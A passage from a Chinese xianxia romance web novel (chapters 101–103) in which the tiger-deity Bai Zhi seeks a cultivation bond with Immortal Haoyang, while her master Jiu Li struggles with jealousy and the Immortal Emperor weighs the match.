不同于幽冥间昏沉的磷火之光,天界到处是一片纯洁到刺目的白,九黎可以清楚地看清女子脸上的每一处神采。 她的皮肤不似云彩只是一味的纯白,而是像朝露凝于莲花,有种清透的粉嫩感。满头青丝如瀑,披在曳地的朝霞裙摆上,如流云般轻盈。 世间最美的东西,往往不是繁花堆砌的盛景,而是清晨第一缕未染尘埃的霞光,是山涧未经雕琢的一抹泉水,是荒野上一抹无名的绿草。 抑或是,晶莹如初生的眼眸。 防风罩落下后,周围的风都变得柔和,白芷抬头道谢,却发现师尊有如失神般盯着她看。 他好像在看她,但她继续同他说话,他却没有回应。 似乎是发现什么有趣的东西,白芷把右手抬了起来,在九黎眼前摇晃同时,笑声如银铃般响落,她故意用刚刚九黎同她说的话问回他,“师尊在想什么?” “你。”- 四目相对时,九黎眼皮轻轻颤了颤。 他有一双如冰川隽冷的眼眸,即使垂下也给人一种难以言说的清冷之感。 “你。”他薄唇微动,声音带了点不易察觉的紧绷。“刚刚说什么?” 许是风大,他没有听清她说了什么。 “哦” 师尊这断句白芷松了屏住的那口气,微缩的瞳孔轻轻散开,清澈眼波又重新流淌开。 好不容易忍着羞涩将话说完,没想到师尊竟走神没听见,白芷眼梢因为羞怒带了些浅浅的红晕。 但 来都来了。 说都说了。 她双手搅着两侧的裙摆,扬起小巧的下颌,将刚刚说过的话又重复一遍,“我是说,我有看上的人了。” 女子说话时眼眸亮晶晶的,像是九黎从前去过的菩提幻境,能瞧见里头细碎又夺目的金芒流转其间。 祥云落在临云水榭外的汜光谭边,化作雾气在他们脚底散开。 汜光潭水如冰种翡翠一般,水底清晰摇晃着许多灵草,如绒毯一般深浅不一随波浮沉。偶有灵雀略过,谭底几尾彩斑鱼用鱼尾在水面拍出波浪,水珠落回水面,泛出一圈圈涟漪。 几条彩斑鱼原本自由自在地游着,但在这对师徒落在谭水边上时,它们忽地失控般甩了甩鱼尾,不安地潜回水底。 白芷却没有察觉出丝毫异样,声音一如既往的清甜,“师尊,我想同他结契。” 不知道是不是近来元神有些虚弱的缘故,白芷觉得她说完后,元神内好似被一缕什么东西生拉了一下,一瞬间识海针扎过一般。 有 些刺痛,好在只是一瞬,但这一瞬间的不适让她更坚定要加紧结契的想法。且原本这事就是她先找上昊阳仙君的,他的父君又向来是个顽固守旧的,为了不让昊阳仙君难办,白芷只能先从师尊身上着手了。 毕竟,她的师尊可比那个严肃古板的仙帝好说话多了。 九黎这次应是听清了,他凝着眉,脸上却看不出喜怒,沉默半晌,直到女子两颊的粉红蹿到耳尖,他的声音才缓缓落下。 “和谁?” 哦说半天她还没提到她要结契的对象么? 难怪师尊脸色这般不好看。 但她毕竟是女子,虽平日大咧,但该害羞的时候还是会害羞,“就是” “不行。” 白芷话还没说完,忽地被冷冷打断。 汜光谭水安静地倒映着两人的身影,因水波太过于清澈,连男子眉眼处的霜寒都印得十分清晰。 “神魔结契,对神仙不会有什么好结果。”九黎紧盯着女子的眼眸,神色前所未有的冷冽。 他一字一句跟她分析神魔结契的严重后果,“以你如今的状况,并不适合再与魔界之人有什么纠葛,况且,后卿如今的修为,能保住他自己就不错,你” 若是忽略他语气中难以掩饰的不耐与躁意,他的模样与平常并无二样。但他的情绪,眼前的女子看不出来,却瞒不了他自己。 九黎不知道别人的徒弟会不会整日想着逃离师尊身边,也不知道若别人的徒弟想同别的男子结契,作为师尊该说些什么?做些什么? 为了修炼结契并不是什么大事,他想,首要应该是帮她辨别结契之人选是否合适,人品心胸是否坦荡宽广 但为什么,看着女子憋红脸羞涩的模样,他心里只充斥着一股无法自控的烦闷之感。 那突如其来的陌生情绪像一阵不受束缚的暴雨,将他的心浇了个透,可偏偏浇不透那股莫名的怒意。 确实如蚩祗所说,他其实并不了解这个徒弟。她喜闹爱玩,与他不同,她身边总是热热闹闹的,围着许多人。从前母神还未陨时,众神神通广大,唯独拿这只爱捣蛋的小虎兽没有办法,但他也知道,没有人真的嫌她吵闹。 在幽冥间不止蚩祗注意到后卿见到白芷之后的异样,九黎并不觉得稀奇。 喜欢她,不是一件难事。 但他以为,小虎兽心思澄澈,虽调皮,也算乖巧听话。她有自己的判断力,应该知道怎么做一个神仙对她最好。 可他也知道,她向来喜欢一切美的东西,而后卿那副皮囊确实算得上极美。 所以,她与那个后卿,是两情相悦? 所以,刚刚在四十九城离开时,她才多次回头,难舍难分? 道侣?结契? 千年万年,九黎已经活了很久了。日日夜夜,单一地,重复地,甚至无趣地活着,已经很少有什么事能激起心中的涟漪了。 他垂眸,女子仰着头,眸里不掩期待。 每次做错事或有事相求时,她便是这样一副神情,九黎脑海里无端划过在凡间的某段亲昵。 是做错了什么事情,他也忘了,或者说,凡间的宋承云从来不在意妹妹做错了什么。只是小姑娘做贼心虚,怕他生气,所以搂着他的腰,也是这样仰着头,一下又一下亲舔着他的下颌,脖颈只是娇得很,仰了一会头便嫌累,又将小脸贴回在他胸膛上,如小兽一般,一下又一下,断断续续啃咬着他的锁骨 所以这次这样看他,又是要求他什么? 他速来知道这个徒弟爱胡闹,但什么事都要有个度。区区一个后卿,值当从她嘴里说出来? 让她和后卿结契? 想都不要想。 防风罩不知什么时候撤下,白芷的发丝被池边的风吹得拂起,她随手将它们挽到耳后。饶是迟钝,她也听出九黎话语间的不耐,她打断:“师尊说什么呢?” “什么神魔?”白芷有些哭笑不得,不知道师尊怎么会以为她要结契的对象是魔界之人,她着急解释:“我想结契的人,是仙界的昊阳仙君。” …… 所有冠冕堂皇、义正言辞的话语在女子一句轻巧的解释中被尽数击溃,剩余的话语尽数滞于喉间。九黎视线落在女子乌黑的头顶,眼眸里似闪过一丝迷茫。【你现在阅读的是 】 100-110 第101章 第101章执念是沾满毒液的花…… 三界之大,无奇不有,但神仙生命恒长,看过经历过的事情太多,已经很少有能轻易触动心怀的东西了。 初听桑尤堕魔的消息,九黎是震惊的。 他百思不得其解,从三界最潇洒无畏的战神变成自苦无法自控的堕神,困住桑尤的执念到底是什么? 桑尤堕魔时,魔力疯涨,又有无烬剑在手,九黎也很难是他的对手。世人或因他是父神和母神独子,以为他压制住桑尤只是理所当然。 但他从来都知道,桑尤的战力不在他之下。 诚然,缚神索能困住桑尤一瞬,但不可能困他永久。他后来才知道,桑尤故作声势浩荡的模样,或许只是想逼他下狠手。 他一心求死 生生之类,求神拜佛,求永生,求极乐,可他们可知,他们心中无所不能的神,有一日竟只想求死,求泯灭。 九黎一直想不通。 但后来跟圯上一次交谈中,他似乎得到了一个答案。 圯上说,“神尊生来神躯,不知何为求而不得。” “执念是沾满毒液的曼妙的花,可以是向往,可以是期冀,或者初破土时,它只是一个不经意间的念头。” “一开始,你为之努力,它会长出美丽的花,结出丰硕的果实。可经年累月,藤蔓会逐渐粗壮,枝繁叶茂,慢慢的,树干开始长出缠缠绕绕的刺” 圯上说这话时,眼底是无比复杂的神采。 “等你反应过来,想拔掉那些刺时,那些名为执念的刺早已融入你的骨肉,越扎越深。拔掉它,心会枯萎,伤痛不亚于抽筋断骨。” “但你不知道的是,刺是拔不掉的。刺只会蛰伏。你永远不知道它什么时候又会卷土重来。” “无法割舍,便成执念,一念成痴,辗转苦思,伤人害己。”- 七彩雀从天门回来时,恰好看到白芷独自站在水榭边上的凉亭,目光不知虚虚落在远处,神情茫然。 前几日在凌霄殿外等不到白芷出来,七彩雀只以为她又同神尊修炼养伤去,倒也没有多想。待她走近,凉亭上的人儿还丝毫不察,七彩雀才觉得有些奇怪。 平日白芷从神尊那回来时,无不活灵活现的,怎么今日这样一副无精打采的模样。 七彩雀收了翅膀,化作人形,轻轻落在边上,而后,鼻翼便嗅到一股很奇怪的香气。 “咦,你身上是什么味道?”七彩雀凑得更近,鼻翼动了动,“你不是从凌霄殿回来的么?” 以前她每次闭关出来,她可没闻到过这个香气。 九重天上向来是一片无垠的琉璃色,云霞如锦缎般铺展,霞边泛起淡淡的金辉,待最后一丝锦白衣角完全消失在金辉中,白芷才渐渐回过神。 “啊?你说什 么?” “你这人,明明要进去闭关还让我等。”彩雀皱着眉扁着嘴埋怨着,“我那日在凌霄殿外等了你许久。” “我去了一趟幽冥间。”白芷语气松松软软的,心不在焉地解释。 潭底的几尾彩斑鱼不知什么时候又从仙草里面游了出来,绕着白芷和七彩雀站着的位置自在畅游开来。 七彩雀啊了一声,目露不解,“幽冥间?” 不是找神尊说道侣的事情去了吗?去幽冥间做什么? 白芷双手倚在栏杆上,探着头看亭子下清澈的潭水,大大叹了口气。 “哎说来话长,晚些再跟你解释吧。” 七彩雀又不认识阿芙,从头解释又不知道要说多久,她现在疲倦得很。 七彩雀注意到白芷的异样了,撇过头去看她。 女子耷拉着眉眼,眼睫低垂遮住平时亮晶晶的眸光,整个人暗沉沉的,如熄了光火的天幕。 她身上的七彩翎羽裙泛着淡淡的霞光,将她整个人衬得愈发轻巧孱弱,可能是刚从幽冥间回来,被阴气侵染,脸颊少了几分艳色,有种病态的苍白,仿佛下一秒就要被风吹走一般,无端让人看得心疼。 七彩雀收回目光,随手摘了旁边垂落到眼前的树柳,胡乱在潭上拨了拨,引得几尾彩斑鱼随她的动作胡乱游动。 “这几日昊阳仙君来过两次我同他说你闭关疗伤去了。”白芷不想说话,七彩雀无什么所谓,自己说了起来,“你同神尊每次闭关时间不定,什么时候出来我也说不出准数,见他眼巴巴又来等着,我便主动说等你出关我再递个信给他。” 说完,七彩雀就掏出留音玉,想要履约跟昊阳仙君说一声。 “诶,等等。”白芷见七彩雀已经落了一丝灵力开启留音玉,心里不由得一急,把她手上的留音玉一挥。 七彩雀没有防备,被白芷一拍,手上的留音玉掉到地上,她手指勾了一下,地上的留音玉又回到掌心。 留音玉已经熄灭,七彩雀皱了皱眉,眼神不解:“疯啦?捣乱什么,我看昊阳仙君很是在意的模样,这才几日就来找你两趟,你还是快给人家回个信” 哎,她正烦这个呢。 一开始也不知道师尊怎么误会她想结契的对象是后卿,冷着脸同她说了一番神魔结契的弊端 神魔结契的弊端她怎么不知道,她又不是发疯,怎么会找后卿当道侣。本来找道侣就是想让自己修为进益得快一些,当然要找一个最合适最有利于修行的人选。 她知道师尊向来觉得她没正形,所以这次她难得很是认真地解释列举她之所以想和昊阳仙君结契的缘由。 譬如说,昊阳仙君修的法术是水系,正好与她的离火相克相生。 譬如说,师尊无需担心是她强逼昊阳仙君,她与昊阳仙君认识的时间很长,颇有交情,此番结契是算是两厢情愿。 譬如说,有了道侣后,她就不用每每麻烦他替她护法疗伤 诸如此类,说得她口干舌燥。 但是,准备了那么多说辞,最后师尊只是冷冷落下一句“随你”,便转身离去了 白芷讲完烦恼的原委,然后向七彩雀问出心中所想,“随我?应该就是同意了,是吧?” “”七彩雀咬了咬牙,有些犹豫 随你?这好像是一个有些模棱两可的话。 但仔细琢磨,应该是同意的吧,这次白芷做的又不是什么出格的事 七彩雀遂还是点了点头。 见七彩雀点头,白芷轻轻吐出一口气,她就说是她多想了。 不知怎地,她觉得刚刚的师尊有些奇怪。明明他的声音依旧沉静温润,神色也如往常无波无澜,但她就是觉得师尊离开时是带着怒气的。 是她的错觉,师尊怎么会因为她要找道侣而生气呢。 师尊生而为神,道心坚韧,主制四方,又不像她。母神说了,本性难移,她终究是兽类,不管当了多久的神仙,还是很难做到超然于世间,她总是有太多在意的人和事了。 站了一会,潭上吹来淡淡的微风,白芷也闻到自己身上的味道了。 淡淡的幽香,是开遍幽冥间四十九城的铃阑花香气。 味道不难闻,但一闻到这个味道,白芷不免想起蚩祗那可恨的嘴脸。 她想了想,捏了个清净咒,把身上的味道都去了。 身上有些困乏,她想了想,不如去水榭后面的暖池泡个澡去去乏,再去见一下昊阳仙君。 “帮我传个话给昊阳仙君吧。”白芷撑着栏杆站直了起来,对着七彩雀说道- 远处悬浮的仙山巍峨耸立,琉璃瓦上流转着七彩光华,一片祥云瑞气。 明阳仙邸外的两位仙将看到白芷走出来,急忙抱手行了礼,“恭送白芷星君。” 白芷眉眼舒展,见到他们,嘴角微微上扬,颔了颔首以示免礼。 她走路时步伐轻盈,裙摆随着她的动作轻轻摆动,像只翩跹自在的蝴蝶。 她就是有这样一种魔力,从不吝啬散发自己的欢乐,周围的空气似乎都因为她的愉悦而变得生动起来,两个面无表情的仙将在看到她笑时下意识回以一微笑。 总算解决一件事了,白芷心情的确很好,从明阳仙邸出来后,她随手拦了第一个见到的仙娥,想问问怎么去仙医馆。 那引路的仙娥本是有事在身被拦下,见白芷脸生,颇是冷淡地看着她。 但看多了几眼,又觉得眼熟 在白芷说完请求后,小仙娥显然已经认出她,可能是太过于惊讶,她一时睁圆着眼,不知道是先行礼还是先应答。 就在白芷以为人家不想理她,准备换个人询问时,小仙娥冷不丁地跪下,“小仙未能认出星君神容,请星君恕罪” 白芷脚步一滞,只是问个路而已嘛,干嘛吓成这样 她挥手,“起来吧。” 这就是她平日少来仙界的原因因她辈分大了些,这些仙人们见到她时总是小心翼翼,多说几句都好似要把她供起来似的 那小仙娥牵着裙摆站起来,想到刚刚白芷问的话,忙回到:“仙医馆离这还有些距离,星君若不嫌弃,小仙为您引路过去。” 也行。 仙宫不似九重天,宫殿繁多,白芷向来不太能认路,有小仙娥引路再好不过。 于是她点头浅笑,“那便请仙娥前边带路。” 第102章 第102章神尊的意思呢? 诸夏的仙医馆坐落在仙宫西南处,算是僻静。 走近时,仙医馆外一处檐角下悬挂的玉铃随风轻响,声音空灵悠远。 将白芷带至门外,仙娥便欠身行礼退下。 白芷并未直接进馆,她的目光被馆外一大片云田吸引。 一眼可见云田分了多块区域,各式仙草灵药长得郁郁葱葱,白芷挑了挑眉,蹲下身捻了一把土壤在手里,放到鼻翼边嗅了嗅。 这可是穷桑朵岭特有的钶霊土,长出仙台树的钶霊土自带灵气,难怪这些仙草长得这般好。 玉铃响起,馆内正蹲在地上挑拣仙草的诸夏便知道有人靠近他的仙医馆。但这不是什么新鲜事,仙医馆平日里多有仙人踏足求药,他没有多在意,注意力都集中在前方葫芦金鼎上炼着的仙丹上。 直到他身边调整火息的仙童“咦”了一声,诸夏才皱了皱眉,抬起头。 这次炼的丹与平日不同,对火候的要求甚高,很明显,诸夏对仙童走神颇是不满。 “怎么了?”诸夏问。 小仙童本是聚精会神按诸夏的吩咐在控制火苗大小,但诸夏好半天了也没让他变化火苗大小,他闲着无聊,又听门外铃响后好一阵都没人进来,不免有些好奇,这一好奇不免就开始注意外面的动静。 门外,白芷走进云田里面,被一株柔毛伞状的小骨朵吸引住目光。 小骨朵呈淡黄色,四周长得白色冠毛,如同一把精致小伞,在一片绿色中显得烂漫可爱,白芷伸手想去触碰那看起来柔软的小毛,但手还没摸到,一抹灵力从指尖弹过。 紧接着,便是熟悉的带着稚气的斥责声。 “喂喂喂,知道那是什么花吗你就摸。” 白芷指尖被诸夏那抹灵力弹到前已经收回,并没有碰到那黄色小骨朵,听到诸夏的声音,她嘴角扬了扬,站起来转身。 “我倒想看看是什么摸不得的花啊?”白芷扬了扬下颌,向后面几个行礼的小仙童挥手免礼。 诸夏瞪了云田里的女子一眼,就知道她是不吃亏不罢休的性子,早知道就让她摸了,让她被那几朵噬首花蛰一下,看她 还能不能这么嚣张。 “也不是什么,我看错了,你摸吧。” 白芷又不是傻子,听诸夏的语气也知道那花不是普通的花,她如今惜命着呢,遂拍了拍手上的土就从云田里走出来。 诸夏后面跟着出来的几个小仙童显然同白芷也颇为熟悉,见到白芷不似平常仙人那般毕恭毕敬,童稚的脸上俱是笑意,比起用鄙弃眼神看着白芷的诸夏,几个小仙童明显很欢喜白芷的到来。 白芷虽喜欢作弄诸夏仙君,但仙医馆十几个炼药的小仙童都很喜欢她,无其他原因,是因为她常常会带一些他们从没见到的小玩意给他们玩,有时心情好也愿意同他们闲聊说其他几界有趣的事情。 白芷从云田走出来后,便从袖袋拿出一袋不知什么东西扔给诸夏后面几个仙童,惹得诸夏眉头皱得更紧了。 这白虎老来他这收买人心,搞得每次他在她手里吃亏也没人站在他这边。 几个小仙童一人一盏小冥灯分完便嬉闹着退下,诸夏抿了抿唇,终究没有开口。 就知道没有他的份。 “你来干嘛?”声音不满。 见诸夏葡萄般圆溜溜的眼睛里露出几分嫌弃和失望,白芷故意不将袖袋里的东西拿出来,她弯着眸说道:“那个,你这里有没有那种吃了可以帮助提升修为的灵药,给我拿一些。” 一些?真是狮子大开口,如果吃药可以增长修为的话,那他自己怎么不吃。 诸夏不耐烦地说道:“没有。” 见女子听完眼眸微眯,诸夏又怕惹怒她,只好又补了一句:“我上次不是说了吗?你如今元神不稳,灵力低微,就算给你吃几枚还魂珠也无用。” 能把三魂七魄都聚齐已是不易,修为只能一步一步慢慢来,吃再多的药也没办法一步登天。 见女子提了裙往医馆里面走,诸夏心也跟着提了起来,他里面还在炼着丹呢,她进来定要捣乱。他急忙冲到她面前,“我回来又翻了下医籍,你上次说的双修,的确是个好办法。” “我说真的,我回来真的翻了好久的医籍。” 诸夏虽说的殷切,白芷脚步却还是未停,熟络地走到炼丹房里,在丹炉旁的小竹椅坐了下来。 “我知道。”见诸夏防备地挡在丹炉前,白芷也不再逗他,“不是我,我魔界有一个朋友受了重伤,你看着拿些合适的丹药给我。” “” 魔界? 诸夏有些无语,也就白芷敢大喇喇地在他面前说这些。 “你还跟魔界的人当朋友?”诸夏其实想说,你跟魔界的人不应该是死对头吗? 若不是魔界狼子野心,她也不至于是现在这虚弱模样。 “”白芷知道他想说什么,没好气地应道:“你别管,就说有没有什么药给我。” 强盗一样,诸夏懒得跟她计较,低下头在他的乾坤袋里翻了好一阵,拿出一个深蓝净瓶,颇是不舍地拿给白芷。 白芷一点都不客气,直接接过,还继续问道:“还有吗?” 诸夏深深吸了口气,又拿出一瓶。 白芷见好就收,“多谢多谢。” 诸夏坐在另一把竹椅上,不是很想理她。 白芷把两个净瓶收好后,将袖子里一直藏着的最后一盏冥灯提了出来。 “喏,从幽冥间专门给你带回来的。” 仙宫如无影之境,明亮通透,冥灯上如萤火般微弱的光亮并不起眼,但这不影响诸夏接过灯时翘起的嘴角。 “你之前不是想要我的紫金乾坤鼎吗?”白芷掌心翻转,她口里的紫金乾坤鼎已经落在诸夏眼前。 这紫金乾坤鼎看着小巧玲珑,通体墨玉雕琢,炉身环绕云篆雷文,隐隐透出莲紫纹路,炉底三足龙爪扣地,每一篇鳞甲栩栩如生,金光流转。 诸夏眼都看直了,这乾坤鼎可是上古神物,虽看着小,但里头可大有乾坤,内有九重火室,可同时炼制不同属性的灵药,他一直知道这神物在白芷这,但知道是知道,这还是他第一次见到。 白虎星君这神仙,细想还是能处的,这么大方。 诸夏已经听不见白芷说话,他把整个乾坤袋掏出来,丢给白芷,而后把乾坤鼎抱在手上一寸一寸仔仔细细地翻看。 药籍上有载,这紫金乾坤鼎能自行随药性变换火候,他都等不及想看看这等宝物是不是真如传说般神奇 接着诸夏扔来的乾坤袋,白芷有些哭笑不得,这些瓶瓶罐罐她又看不懂,丢给她有什么用,她只好捡起放到一旁。 眼看诸夏丢下她就要走,白芷急忙将他拉住。 诸夏见袖子被扯住,以为白芷反悔,急忙将乾坤鼎藏到背后。 “你你不会说话不算话吧?” “诶,你别着急啊。”白芷叹了口气,只好先安这小不点的心,“给你就是你的了。” 诸夏这才松了口气,这样好的东西,他才不跟白芷客气。 因为这个乾坤鼎,他对白芷的耐心无上限提升。反正宝贝已经是他的了,等白芷走后他有大把的时间可以研究。 “说吧,还想要什么?”诸夏大方问道。 “不想要什么。”白芷摇头,“我想问一个问题。” 诸夏挑了挑眉,“什么问题?”- 玉清殿。 圯上老人进来时,一向和煦的仙帝面色沉得发黑。圯上视线落到殿中垂着头跪在地上的身影,眸里闪过一丝惊讶。 那跪着的身影竟是仙帝平日最引以为傲的儿子,昊阳仙君。 所以,仙帝这是正在训子? 圯上老人眉心不由得拧了拧,饶是智慧过人,一时间也猜不到仙帝此时召他来的用意。 上首仙帝同样睨了昊阳仙君一眼,见他虽跪着,但半点没有认错的模样,那股闷气便卡在半道。 这儿子自小修为品行各方面从不曾让他费心过,好不容易历劫回来修为更是突破玄仙境,禀赋天资机缘都让其他仙人难以望其项背,就连他在他这个年纪的时候也无法与之比肩。 可就是这样让人省心骄傲的儿子,执拗起来也让人气个半死。 惹谁不好,怎么突然要去招惹白虎星君。 什么结契? 拎开白虎星君往日那些叫人哭笑不得的事迹,白虎星君是谁? 她是上古神兽,神尊唯一的徒弟,身份辈分高到连他难以触及。 而于私来说,白虎星君祭皿阵后几乎已经是修为散尽,昊阳跟她结契于修为上并无一丝助益,或许还会因这样的行为成为三界议论的话柄。 仙帝实在想不懂,这个向来乖觉的儿子到底知不知道他在做什么? 他不禁猜,难道是白虎星君威迫他的? 但也不可能啊,若是她逼的,那昊阳不至于要做到现在这一步,宁愿被他罚跪在这里也丝毫不肯退让。 仙帝对这唯一的儿子寄以重望,而昊阳仙君也的确从未让他失望。若是寻常对象也就罢了,他又不是什么不顾儿女想法的老顽固。 但偏偏是白虎星君,仙帝连想训斥儿子都不敢大声训斥,若是拿捏不好尺寸,传出去…… 好在玉清殿只有二人,话不好说,脸色确是明摆着黑沉到极致。 直到圯上老人走进来,仙帝才将那一胸 腔闷气稍稍收敛些。 “仙帝,这是……”来都来了,圯上老人不可能装看不到跪在一侧的昊阳仙君,便先主动开口问。 仙帝睨了眼地上跪着但背脊仍挺得绷直的人,气不打一处来。 “你先下去。”他冷斥道,“就呆在仙邸,哪里都不准去。” 这还是仙帝第一次用这样的语气同昊阳仙君说话,圯上心头的惊讶又多了两分,不过他脸上仍然是一副温和含笑的模样,不再开口。 “父君,我…”昊阳仙君似乎还想说什么,但一抬头看到仙帝皱眉瞪他的眼神,又看了眼仙帝身旁的圯上老人,终究什么都没说,先退下了。 待昊阳仙君衣角消失在转角处,仙帝终于没忍住,重重甩了甩衣袖,“这个逆子!” 圯上老人手指抚了抚左臂上的拂尘,不开口,等着仙帝平复心绪。 失态也只是一瞬,待目光从门外收回,仙帝又恢复沉稳慎定的模样。 “让老君见笑了。”仙帝对着圯上老人挤出两分笑意,手臂微抬,“老君坐吧。” 圯上老人也不推辞,就势坐下。 圯上老人待在仙帝身边多年,对他还是有几分了解,仙帝刚刚的失态大抵是故意做给他看的。他也从善如流,主动提起,“这昊阳仙君是做了什么事惹仙帝不悦了?” 昊阳仙君一走,仙帝满腹不满也沉下,虽眉宇间还有两丝燥意,但语气已经与平日无异了。 本就是找圯上来商量对策,仙帝不卖关子,全盘托出,“不怕老君取笑,昊阳那逆子是想与人结契……” 这倒有些出乎圯上老人的预料,但转念一想,若只是结契,仙帝不至于当众发这么一通气。 饶是圯上,一时也有些摸不着头脑。 “是同哪位仙子结契?” “白”仙帝欲言又止,顶着圯上老人询问目光,咬咬牙,语气有些生硬,“是九重天上的白虎星君。” “白虎星君?”圯上惊呼。 圯上倒没有仙帝想的那么复杂,但这是一个他怎么也没想到的人选… 怎么会是白虎星君? 不止圯上老人仙帝也觉得离奇,若说主动来同他提这事的人是白虎星君,他可能还不会那么惊讶。 离奇就离奇在,这事是他最是端方守礼的儿子主动来提,而且,儿子眼里明晃晃的恳切他看得清清楚楚。 可话又说回来,即便是他,见到白虎星君不免也要行礼,若是昊阳真同她结契,那这其间关系不是乱成一团? 即使不论这些身份,那选择结契至少要能互利,如果无法互利,那结契就失了意义。没有意义又可能引起议论的事情,仙帝本人断不会做。 但他的儿子他也了解,很难有人能逼迫他做不愿意的事情,他是真心想同白虎星君结契 圯上老人听完一时也陷入沉思,昊阳仙君不是寻常仙人,若无意外,他便是下一任仙帝,与他结契之人就是下一任帝后 但圯上老人到底老练,只惊讶了一会,便直接问道:“神尊的意思呢?” 第103章 第103章流言是最不值一提的东…… 仙帝第一时间让圯上来,便也是想到这一层。 所以呢,这事神尊知晓么? 若是神尊已经知晓并点头,那这事就算是板上钉钉,没有商量的意义。 但关键就在于,仙帝问昊阳时,昊阳仙君也说不上来,后来倒是也点了头,但仙帝了解这个儿子,知道他在犹豫。 犹豫,那就是神尊未必知道,或者说,未必同意。 即便不愿让昊阳与白虎星君结契,但仙帝首先也要先看看神尊的态度。也可以这么说,若是神尊点头,是谁的意愿都不重要。 但仙帝不可能自己大剌剌地向神尊打听,他想听听圯上的看法,也想通过圯上了解神尊对他的徒弟白虎星君结契的态度。 圯上见仙帝沉默,便知道他也不清楚神尊意思。 原本结契只需双方意愿一致,但昊阳仙君和白虎星君的身份都有些特殊,一位是未来仙界之主,一位是上古神兽,还是神尊几乎舍命救下的爱徒,圯上理解仙帝,若是他们结契,那其中牵扯不少利害关系。 于是他道:“仙帝是想让我去九重天走一趟?” 仙帝点头,在圯上老人面前,没有什么隐瞒的必要。 圯上老人心里已有几分猜测,若说白虎星君已经和昊阳仙君说定,那此事大概算是板上钉钉了。他料想白虎星君不会绕过神尊直接定下契约,而神尊对这位徒弟向来放任,平日也不管小辈那些杂事,想来也不可能不同意。况且,若他猜得没错,生性爱自由的白虎星君起了结契的念头,大抵也是为了修炼。 但神尊的态度,明面上确实需要摸清楚,圯上老人爽快应下- 不用去兰因殿的日子,白芷呆在水榭百无聊赖。九重天上没有日月更替,常年洁白的云层和金光,白芷随手丢了一个遮光罩,屋内便蒙上一层灰沉。 这才是适合睡觉的光线嘛。 七彩雀也没什么事情,去替白芷传了东西便回到水榭,推门进来时见到满室晦暗时愣了一愣。 “回来啦。”白芷正躺在床边榻上发着呆,听到门响声支出一边手往外看。 “嗯。”七彩雀没有转身,轻轻抬了抬手指,门就自动带上。 “有见到阿芙吗?” 七彩雀摇头,虽没见到白芷口中之人,但她居然见到魔主后卿。 没想到区区两瓶药丹,魔主也会亲自来取,难道魔界已经如今拮据了么? “后卿说她还未醒。”七彩雀说是说道。 其实,颜芙醒没醒不是七彩雀主动开口问的,她只是受白芷之托送药到魔界入口,原本以为魔界会随便遣个小魔来取,没想到来的人是魔主后卿。 七彩雀倒是第一次见到后卿,不过因为仙魔之战,这万年来倒听得不少他的事,透过守门的小魔得知他的身份,她并没什么好脸色,将药瓶扔过去便要走。 是那位魔主先开的口。 “如果可以的话,帮我说声谢谢。”他的声音如从深渊浮起,虽低却让人难以忽视。 七彩雀没控制住,转头看过去。 饶是见惯神仙两界各样俊秀清灵的面孔,七彩雀还是不得不承认,这位魔主当真长了一副摄人心魄的好相貌。他 的整张脸俊美妖异得令人窒息,仿佛多看一眼便会被他带入无尽深渊。 这张脸不能多看,七彩雀很快转头,而后那声音又响起,“阿芙很好,虽没醒,但已经脱险。” 七彩雀知道这话不是对她说的,双翅幻化之时,她双脚一踮,头也不回离开身后一片灰青的魔域上空。 “后卿让你不用担心,颜芙已经脱险。”七彩雀如实转达。 那就好。 白芷嗯了一声,转身翻了回去。 七彩雀见她懒恹恹的模样,搬了个凳子坐到她旁边。 “所以呢,你同昊阳仙君商量好了吗,什么时候结契?” 说到这个,白芷心底无来由地有些烦意。 大抵算是商量好了吧,从幽冥间回来她便去了一趟昊阳仙邸,原本是想同昊阳仙君知会一声,然后由她找仙帝说明情况,没想到昊阳仙君说一切交给他去说 见昊阳仙君信誓旦旦的模样,白芷犹豫了下,最后也没有拒绝。 不过昊阳仙君那里还没有传消息过来,所以暂时还不知道仙帝是什么态度。 好早师尊也没什么意见,想来仙帝应当也不会不同意。 虽然此番有些以势压人的意味,不过也没办法,修炼要紧,待她过了这个难关,一定会好好补偿他们父子的。 “算是吧,应该很快。”白芷自己在心里算了算,若是顺利,也就这两天了。 事情都按预想顺利进行,白芷应当高兴的,但不知怎地,想起师尊离开水榭前落下那句冷淡的“随你”,她心里就是不得劲。 平日师尊说话虽也无 甚表情,但她总觉得,他说那句话时,尤其冷漠。 师尊是不满意她结契的对象么? 可昊阳仙君已经是在能找的人选中最匹配的一位,重点也不是魔界之人。 哎,到底师尊在不高兴什么啊! 白芷烦躁地提了提身上的薄毯,翻了个身将自己完全埋进柔软的靠枕里- 圯上老人踏进凌霄殿时,九黎手指刚从桌上一琉璃盆栽上收回。 圯上老人是仙庭的老人,备受仙人尊崇,也是仙界鲜有几个能在九黎这说上话的人。甚至有的时候,他的话比仙帝还有分量一些。 但显然,这位白须老人到了凌霄殿,脸上神情不似在玉清殿的自在。 凌霄殿内万道金光自穹顶垂落,在玄晶地砖上折射出星河倒悬的幻象,殿中十二根通天柱上刻着星斗运行轨迹,浮在上面灵巧而生动。 圯上老人不是第一次见神尊用指尖血喂这盆不起眼的小盆栽,所以看到时不似初次惊愕。只是看着上首垂眼逗弄盆栽的人,老人忍不住咽了咽口水。 怎么神尊这里的气氛也不对劲 “何事?”九黎无声地瞥了下面的白发老人一眼,见老人一副欲言又止的模样,难得情绪有些外泄,拧着眉淡淡问道。 九黎主动递了话头,圯上老人急忙抓住,“听诸夏说,星君昨日去仙医馆要了几瓶药送去魔界。” 九黎眼皮微掀,长指把又想缠上指尖的那株小绿植摁住。 她对别人的事倒是上心。 “随她。” 拿药这只是一桩小事,圯上也只是碰巧听诸夏提起,只是事关魔界他才同专门提了一嘴。 而他去诸夏那,是另有一桩大事。即便仙帝没让他来,他原本也是要来九重天一趟的。 圯上老人沉吟片刻,继续开口,“恕老身冒犯,敢问神尊的神魄是否还未尽数归位?” 这两日他在青凝镜上观下星海有异动…… 压制桑尤的缚神索与神尊神识相连,若是青凝镜都能感知到下星海异动,那困在里头的桑尤不可能不知道。 话音一落,上首的目光落下来,圯上老人不自觉握紧手上的拂尘。 没有否认,那便是了。 圯上到底看不懂神这位神尊的用意,当初神尊不就是为了尽快收回魂魄才亲自陪白虎星君去历劫,如今功德圆满,为何还迟迟没有动作。 “神尊是还有什么顾虑么…”圯上老人斟酌着开口。 不同于圯上老人小心翼翼的询问,九黎听完随口般回道,“再等等吧。” 也不是没有试过抽回,只是上次刚探到识海,还未有所动作她就喏喏喊痛,强行抽取的话又不知道她要昏迷多久。 看着老人殷切的眼神,九黎终究还是多解释一句,“她受不住。” 